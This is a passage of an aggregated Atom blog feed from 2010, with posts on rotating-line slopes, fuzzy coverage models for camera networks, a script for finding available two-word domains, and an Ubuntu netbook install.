href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;title=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; id=&quot;wpa2a_10&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Related posts:&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/&quot; rel=&quot;bookmark&quot; title=&quot;Fuzzy Mathematics with FuzzPy (Part 1)&quot;&gt;Fuzzy Mathematics with FuzzPy (Part 1)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Rotating Lines</title>
		<link href="http://blog.mavrinac.com/2010/06/rotating-lines/"/>
		<id>http://blog.mavrinac.com/?p=183</id>
		<updated>2010-06-28T13:28:38+00:00</updated>
		<content type="html">&lt;p&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Given a line of slope &lt;i&gt;m&lt;/i&gt; in the Euclidean plane, what is the slope &lt;i&gt;m&amp;#8217;&lt;/i&gt; of the line rotated (counterclockwise) by angle &lt;i&gt;&amp;theta;&lt;/i&gt;?&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Suppose we have an equation for the line of the form &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;mx&lt;/i&gt; + &lt;i&gt;b&lt;/i&gt;. We can ignore &lt;i&gt;b&lt;/i&gt; as it is unrelated to the slope (in effect, we are working in an &lt;a href=&quot;http://en.wikipedia.org/wiki/Affine_space&quot;&gt;affine space&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;So, &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;mx&lt;/i&gt; for our purposes. Every point satisfying this equation is a multiple of&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m\end{array}\right]&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;and, similarly, every point satisfying the equation &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;m&amp;#8217;x&lt;/i&gt; of the rotated line is a multiple of&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%27%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right]&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;Since the latter point is the image of the former after rotation by &lt;i&gt;&amp;theta;&lt;/i&gt;, the points are related by a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rotation_matrix&quot;&gt;rotation matrix&lt;/a&gt;, like so:&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%27%5Cend%7Barray%7D%5Cright%5D%20%3D%20%5Cleft%5B%5Cbegin%7Barray%7D%7Bcc%7D%5Ccos%5Ctheta%20%26%20-%5Csin%5Ctheta%20%5C%5C%20%5Csin%5Ctheta%20%26%20%5Ccos%5Ctheta%5Cend%7Barray%7D%5Cright%5D%20%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right] = \left[\begin{array}{cc}\cos\theta &amp;amp; -\sin\theta \\ \sin\theta &amp;amp; \cos\theta\end{array}\right] \left[\begin{array}{c}1 \\ m\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right] = \left[\begin{array}{cc}\cos\theta &amp;amp; -\sin\theta \\ \sin\theta &amp;amp; \cos\theta\end{array}\right] \left[\begin{array}{c}1 \\ m\end{array}\right]&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;Solving for &lt;i&gt;m&amp;#8217;&lt;/i&gt; then yields&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=m%27%20%3D%20%5Cfrac%7B%5Csin%5Ctheta%20%2B%20m%5Ccos%5Ctheta%7D%7B%5Ccos%5Ctheta%20-%20m%5Csin%5Ctheta%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;m&amp;#039; = \frac{\sin\theta + m\cos\theta}{\cos\theta - m\sin\theta}&quot; title=&quot;m&amp;#039; = \frac{\sin\theta + m\cos\theta}{\cos\theta - m\sin\theta}&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;which, of course, is our solution in terms of &lt;i&gt;m&lt;/i&gt; and &lt;i&gt;&amp;theta;&lt;/i&gt;.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">So Close, Yet So Far Away</title>
		<link href="http://blog.mavrinac.com/2010/06/so-close-yet-so-far-away/"/>
		<id>http://blog.mavrinac.com/?p=177</id>
		<updated>2010-06-15T20:01:17+00:00</updated>
		<content type="html">&lt;p&gt;I humbly entreat any analytical intellects of greater constitution than my own (of which, to be sure, there is no dearth) to enlighten me in matters mathematical.&lt;/p&gt;
&lt;p&gt;First of all, if I have a 5-dimensional space which consists of a 3-dimensional Euclidean space plus direction (defined by inclination and azimuth) &amp;#8212; that is, the set of vectors &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2C%20y%2C%20z%2C%20%5Crho%2C%20%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x, y, z, \rho, \eta)&quot; title=&quot;(x, y, z, \rho, \eta)&quot; class=&quot;latex&quot; /&gt; where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%2C%20y%2C%20z%20%5Cin%20%5Cmathbb%7BR%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x, y, z \in \mathbb{R}&quot; title=&quot;x, y, z \in \mathbb{R}&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cin%20%5B0%2C%20%5Cpi%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \in [0, \pi]&quot; title=&quot;\rho \in [0, \pi]&quot; class=&quot;latex&quot; /&gt;, and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta%20%5Cin%20%5B0%2C%202%5Cpi%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta \in [0, 2\pi)&quot; title=&quot;\eta \in [0, 2\pi)&quot; class=&quot;latex&quot; /&gt; &amp;#8212; what is that called? Of course, this generalizes to a (2&lt;em&gt;p&lt;/em&gt; &amp;#8211; 1)-dimensional space with a &lt;em&gt;p&lt;/em&gt;-dimensional Euclidean spatial component. I have been calling fuzzy subsets of this space &lt;em&gt;spatial-directional fuzzy sets&lt;/em&gt;, but &lt;em&gt;spatial-directional space&lt;/em&gt; sounds patently ridiculous.&lt;/p&gt;
&lt;p&gt;Second, is it possible to define a useful distance metric in such a space? &lt;cite title=&quot;﻿B.B. Chaudhuri and A. Rosenfeld, 'A Modified Hausdorff Distance Between Fuzzy Sets,' Information Sciences, vol. 118, 1999, pp. 159-171.&quot;&gt;Chaudhuri and Rosenfeld&lt;/cite&gt; generalize the &lt;a href=&quot;http://en.wikipedia.org/wiki/Hausdorff_distance&quot;&gt;Hausdorff distance&lt;/a&gt; to arbitrary fuzzy subsets of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Metric_space&quot;&gt;metric space&lt;/a&gt;, but this is of little use to me if my universal space is not metric. The natural way to define distance between two directions is to use the angle between the corresponding vectors, or similarly a norm on the surface of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Torus&quot;&gt;torus&lt;/a&gt;. The obvious problem is that the numbers used for space and angle bear no relation to one another, so it seems nonsensical to combine them in a single metric (scaling and other such hackery need not apply). Yet, &lt;a href=&quot;http://en.wikipedia.org/wiki/Configuration_space&quot;&gt;configuration spaces&lt;/a&gt; with similar discord among the units of their dimensions abound in engineering. Surely someone has tried to do something like this before?&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Double Dipping into Domaining</title>
		<link href="http://alanp.ca/blog/2010/06/04/double-dipping-into-domaining/"/>
		<id>http://alanp.ca/blog/?p=136</id>
		<updated>2010-06-04T05:33:44+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2010%2F06%2F04%2Fdouble-dipping-into-domaining%2F&amp;amp;title=Double%20Dipping%20into%20Domaining&quot; id=&quot;wpa2a_12&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;When I first read &lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew Badr&lt;/a&gt;&amp;#8216;s post on his &lt;a href=&quot;http://ianab.com/log/1/my-dip-into-domaining/&quot;&gt;tests with domain squatting^W speculation&lt;/a&gt;, I was immediately interested in the methods that he used.  Having checked out &lt;a href=&quot;http://www.namepros.com/&quot;&gt;multiple&lt;/a&gt; &lt;a href=&quot;http://www.snapnames.com/&quot;&gt;domain&lt;/a&gt; &lt;a href=&quot;http://www.dnforum.com/&quot;&gt;speculation&lt;/a&gt; websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.&lt;/p&gt;
&lt;p&gt;Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew&lt;/a&gt; used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern &amp;#8220;^&amp;#8230;.$&amp;#8221; which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?&lt;/p&gt;
&lt;p&gt;I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it&amp;#8217;s relevance into a simple &lt;a href=&quot;http://www.mysql.com/?bydis_dis_index=1&quot;&gt;MySQL&lt;/a&gt; table, I was ready to begin hammering away to see what was available for registration.&lt;/p&gt;
&lt;p&gt;Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.&lt;/p&gt;
&lt;p&gt;The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;thisholy.com&lt;/li&gt;
&lt;li&gt;thatecho.com&lt;/li&gt;
&lt;li&gt;homehide.com&lt;/li&gt;
&lt;li&gt;homemeet.com&lt;/li&gt;
&lt;li&gt;havethem.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it&amp;#8217;s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.&lt;/p&gt;
&lt;p&gt;If there&amp;#8217;s any interest, I will post my full list  (it&amp;#8217;s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.&lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Ubuntu Netbook Edition</title>
		<link href="http://blog.free.draisey.ca/node/99"/>
		<id>http://blog.free.draisey.ca/99 at http://blog.free.draisey.ca</id>
		<updated>2010-05-28T20:42:58+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Tags:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;http://blog.free.draisey.ca/taxonomy/term/7&quot;&gt;wuug&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;So my diminutive Acer Aspire One is now running Ubuntu Netbook Edition and seems to like it, although the initial two tries at installing it failed utterly.  The second failure was the worst as the system seems to have gotten stuck in a swap storm.  It had been installed but was running very slowly, and then had to rush off elsewhere --- on returning a couple of hours later it was writing to the SSD like mad and completely unresponsive.  Only a magic SysRq key could give me my system back so I rebooted and only then remembered I had left it doing a software update --- oops, no kernel!  How can an installer only a few days old be so out of date?
I had reused some existing partitions in the installer, but not their contents, so I have no idea what the difference was between the final successful install and the disaster immediately before it.  Indeed, I expected the final install to be as bad as the others --- I can&amp;#039;t remember what I hoped to achieve.  Surprisingly the third time worked like a charm.  Very odd.
Moblin was running out of steam and they didn&amp;#039;t have numpy packaged so I jumped ship ... the day before Meego came out!  Talk about timing!  Still I don&amp;#039;t expect Meego 1.0 is very stable, nor does it possess the pygtk and numpy libraries I want.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The Predecessor to Twitter</title>
		<link href="http://www.allthingsexpounded.com/2010/05/the-predecessor-to-twitter/"/>
		<id>http://www.allthingsexpounded.com/?p=1436</id>
		<updated>2010-05-25T16:08:25+00:00</updated>
		<content type="html">&lt;p&gt;&lt;img class=&quot;alignleft&quot; title=&quot;Qwitter&quot; src=&quot;http://www.marknenadov.com/images/quitter.jpg&quot; alt=&quot;&quot; width=&quot;178&quot; height=&quot;134&quot; /&gt;In an otherwise generally unremarkable piece in the April 2010 issue of Usenix&amp;#8217;s &lt;em&gt;login;&lt;/em&gt; magazine (pp. 70-71) listing goofy fake protocols, Robert Ferrell has this gem:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Internet Chaff Relay: The short-lived predecessor to Twitter&lt;/em&gt;&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The Road To Here</title>
		<link href="http://blog.mavrinac.com/2010/05/the-road-to-here/"/>
		<id>http://blog.mavrinac.com/?p=155</id>
		<updated>2010-05-23T15:15:57+00:00</updated>
		<content type="html">&lt;p&gt;In my M.A.Sc. work on stereo camera network calibration, I made use of a series of graphs to describe the relationships between nodes. Existing work had already produced the vision graph and what I will call the transition graph (after &lt;cite title=&quot;﻿R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt;&amp;#8216; transition model). In both graphs, each vertex represents a node (camera or camera pair, usually) in the multi-camera network.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Vision Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;In a typical sensor network, the sensing modality is simple and omnidirectional, and thus adjacency is a function of proximity. A consequence of this is that the sensing graph is usually a subset of, equal to, or a superset of the communication graph. Therefore, it is usually possible to cheat by initializing the sensing graph model using either physical topology (from, say, GPS) or communication topology.&lt;/p&gt;
&lt;p&gt;Camera networks break from this in that their sensing modality is complex and directional, so sensing adjacency has relatively little to do with communication adjacency. &lt;cite title=&quot;﻿D. Devarajan and R.J. Radke, 'Distributed Metric Calibration of Large Camera Networks,' Proc. 1st Workshop on Broadband Advanced Sensor Networks, 2004.&quot;&gt;Devarajan and Radke&lt;/cite&gt; realized this early on, and proposed the vision graph. An edge in the vision graph represents information about shared field of view between the two nodes represented by its vertices; there is an edge wherever there is significant overlap of the observed scene. But what does &lt;i&gt;significant&lt;/i&gt; mean? Assuming we&amp;#8217;re referring to a classic, unweighted graph for the moment, in order for it to be useful, &lt;i&gt;significant&lt;/i&gt; must mean that there is sufficient overlap that we can &amp;#8211; or at least, that it is reasonable to expect that we could &amp;#8211; achieve whatever task is intended for the shared data.&lt;/p&gt;
&lt;p&gt;Since every published use of the vision graph I am aware of is a calibration application, let&amp;#8217;s talk about that. Originally, Devarajan and Radke had to specify the vision graph manually &lt;i&gt;a priori&lt;/i&gt; in order to use it for calibration; a follow-up with &lt;cite title=&quot;﻿Z. Cheng, D. Devarajan, and R.J. Radke, 'Determining Vision Graphs for Distributed Camera Networks Using Feature Digests,' EURASIP Jrnl. on Advances in Signal Processing, vol. 2007, 2007.&quot;&gt;Cheng&lt;/cite&gt; proposed a method to build it by propagating digests of &lt;cite title=&quot;﻿D.G. Lowe, 'Distinctive Image Features from Scale-Invariant Keypoints,' Intl. Jrnl. of Computer Vision, vol. 60, 2004, pp. 91-110.&quot;&gt;SIFT&lt;/cite&gt; features from the various images to other nodes. I myself only used it in concept, as a theoretical upper limit for the final calibration graph.&lt;/p&gt;
&lt;p&gt;Now, for a digression&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Transition Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Meanwhile, folks working on surveillance and tracking applications were also using a graph formalism &amp;#8211; well, in most cases, a reflexive binary relation on the set of nodes that translates trivially into a graph formalism. An edge in the transition graph represents a different, although related, kind of adjacency between the two nodes represented by its vertices: the possibility of a target moving from the field of view of one node to that of the other. This, of course, includes overlapping fields of view, but importantly, it also extends to the non-overlapping case.&lt;/p&gt;
&lt;p&gt;It quickly became clear to someone that it was worthwhile to represent not just the possibility, but the &lt;i&gt;probability&lt;/i&gt;, of a transition. This may have been an obvious consequence of some of the methods used to actually determine this graph or relation &amp;#8211; for example, &lt;cite title=&quot;﻿D. Marinakis, G. Dudek, and D.J. Fleet, 'Learning Sensor Network Topology through Monte Carlo Expectation Maximization,' Proc. IEEE Intl. Conf. on Robotics and Automation, 2005.&quot;&gt;Marinakis et al.&lt;/cite&gt; used a Monte Carlo expectation-maximization method, and &lt;cite title=&quot;﻿R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt; used sequential Bayesian estimation, both probability-oriented. Though intended to properly capture the information presented, it turns out that weighting the graph with these probabilities allows for some good optimization when it comes time to do predictions or camera hand-offs.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Fuzzy Vision Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Seeing this, we thought, what if we similarly retain the uncertainty in the vision graph (rather than thresholding it out on an task-specific basis, as in all prior work) and put it to work optimizing calibration and other applications? Probability is, in general, ill-suited to the job, because we aren&amp;#8217;t talking about transitions here. So, we considered another representation of uncertainty: &lt;a href=&quot;http://en.wikipedia.org/wiki/Fuzzy_set&quot;&gt;fuzzy sets&lt;/a&gt;. A graph is an ordered pair &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28V%2C%20E%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(V, E)&quot; title=&quot;(V, E)&quot; class=&quot;latex&quot; /&gt; of a set of vertices &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=V&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;V&quot; title=&quot;V&quot; class=&quot;latex&quot; /&gt; and a set of edged &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=E&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;E&quot; title=&quot;E&quot; class=&quot;latex&quot; /&gt;; a fuzzy graph (in most definitions) is simply a generalization where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=V&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;V&quot; title=&quot;V&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=E&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;E&quot; title=&quot;E&quot; class=&quot;latex&quot; /&gt; are fuzzy sets.&lt;/p&gt;
&lt;p&gt;One nice thing immediately apparent is that, with the inherent, well, fuzziness of fuzzy graphs, there&amp;#8217;s no longer any need to set task-specific thresholds in advance when constructing the model; instead of summarily judging whether overlap is significant, we simply capture the &lt;i&gt;degree of significance&lt;/i&gt;, which if we really want can be thresholded later via task-specific alpha cuts. Beyond this, a number of opportunities for automatically optimizing various tasks in more advanced ways presented themselves as I poked at the idea. (This is the time when &lt;a href=&quot;http://code.google.com/p/fuzzpy&quot;&gt;FuzzPy&lt;/a&gt; was born.)&lt;/p&gt;
&lt;p&gt;The major problem, so far, is that there is no real understanding of what the ideal fuzzy vision graph actually represents. We can build them in various ways: using feature digests like Cheng, for example. But in order to decouple the practical optimization research from the practical modeling research, we need some definition of what a perfect vision graph for a camera network actually is.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Modeling Camera Network Coverage&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;To approach the problem of modeling the topology of camera coverage overlap, what is really needed is a proper model of camera network coverage. Much of the existing work on this has been developed specifically for optimal camera placement algorithms; it provides some inspiration, but as these models are rather simplistic (discrete, two-dimensional, triangular in shape, etc.) they don&amp;#8217;t provide much in the way of an &lt;i&gt;ideal&lt;/i&gt; model. Delving deeper, some decades-old work on task-oriented camera placement by &lt;cite title=&quot;﻿C.K. Cowan and P.D. Kovesi, 'Automatic Sensor Placement from Vision Task Requirements,' IEEE Trans. on Pattern Analysis and Machine Intelligence, vol. 10, 1988, pp. 407-416.&quot;&gt;Cowan and Kovesi&lt;/cite&gt; provides an idea for a more realistic model of camera coverage, if you invert it, but is only for single cameras and uses task-specific thresholds.&lt;/p&gt;
&lt;p&gt;Coverage, like overlap in the vision graph, is an imprecise concept when it is not tied to a specific task. Hence, fuzzy sets once again presented themselves as a possible framework for the representation: one can assign a membership degree in the set of covered points to every point in three-dimensional Euclidean space. Like Cowan and Kovesi, I identified visibility, focus, and resolution as the major factors in single-camera coverage (in the absence of &lt;i&gt;a priori&lt;/i&gt; scene knowledge), developed &amp;#8220;trapezoidal&amp;#8221; fuzzy sets for each, then combined them via algebraic product fuzzy intersection to get a complete model that, given the intrinsic parameters of a camera and a couple of intuitive application (not necessarily single-task) parameters, would tell me how well any point in its local 3-space is covered. This is called the &lt;i&gt;fuzzy coverage model&lt;/i&gt;.&lt;/p&gt;
&lt;p&gt;It becomes evident that a fourth factor, direction, is needed when looking at the multi-camera case, where cameras are situated in a common coordinate system based on their extrinsic parameters, and we are interested in part in their field-of-view overlap. If two cameras face the same general volume of space, but from opposite sides, is the volume in common covered by both cameras? If you&amp;#8217;re tempted to think yes, consider a task such as feature matching. Cameras can only see opaque surfaces with normals in the interior half-space defined by a plane tangent to the point in question and perpendicular to the principal axis. Furthermore, a number of studies have shown that, in practice, feature matching performance degrades over rotation of the viewpoint. Thus, if we extend our three-dimensional concept of space to include direction as well, making the fuzzy coverage model 5-dimensional, we consider points at the same location in 3-space but with different direction not the same point at all. Some &lt;a href=&quot;http://blog.mavrinac.com/2010/03/pi-day-madness&quot;&gt;geometry&lt;/a&gt; and a fuzzifying parameter gives us another component fuzzy set for the single-camera model, which we can incorporate by algebraic product intersection.&lt;/p&gt;
&lt;p&gt;Another major consideration for the multi-camera case, which various work on camera network topology and placement optimization has attempted to tackle, is occlusion from the static scene. This may be known &lt;i&gt;a priori&lt;/i&gt; (e.g. CAD layout of a building) or estimated by the camera network itself. It is possible to do this in continuous space, like ﻿&lt;cite title=&quot;K. Tarabanis, R.Y. Tsai, and A. Kaul, 'Computing Occlusion-Free Viewpoints,' IEEE Trans. on Pattern Analysis and Machine Intelligence, vol. 18, 1996, pp. 279-292.&quot;&gt;Tarabanis et al.&lt;/cite&gt;, and so ideally you&amp;#8217;d have a complete 3D model of the unoccluded field of view for each camera, and all other points have &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmu%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mu = 0&quot; title=&quot;\mu = 0&quot; class=&quot;latex&quot; /&gt;. However, the complexity seems prohibitive in practice for large camera networks. If we instead move to a discrete representation of the fuzzy coverage model, we can do what I did: make the scene finite, mark a subset of its voxels opaque, then use the voxel traversal of the line from a given point to the principal point of the camera to determine whether it is occluded (i.e. if the traversal includes any opaque voxels).&lt;/p&gt;
&lt;p&gt;The easy part is the total network coverage. For simple multi-camera networks, where one camera covering a point (remember, we account for direction implicitly) is enough, simply combine all the appropriately transformed, discretized, and occlusion-ified single-camera coverage models together via standard fuzzy union. For 3D multi-camera networks, where we want at least two cameras covering a point, first generate a coverage model for each &lt;i&gt;pair&lt;/i&gt; of cameras via standard fuzzy intersection on the pair, then combine all these via union.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Okay, now what?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;This is about where I&amp;#8217;m at. There&amp;#8217;s plenty more that could be done with the fuzzy coverage model itself: solving the optimal camera placement problem in new and exciting ways is one really obvious possibility that I talk about in an upcoming paper.&lt;/p&gt;
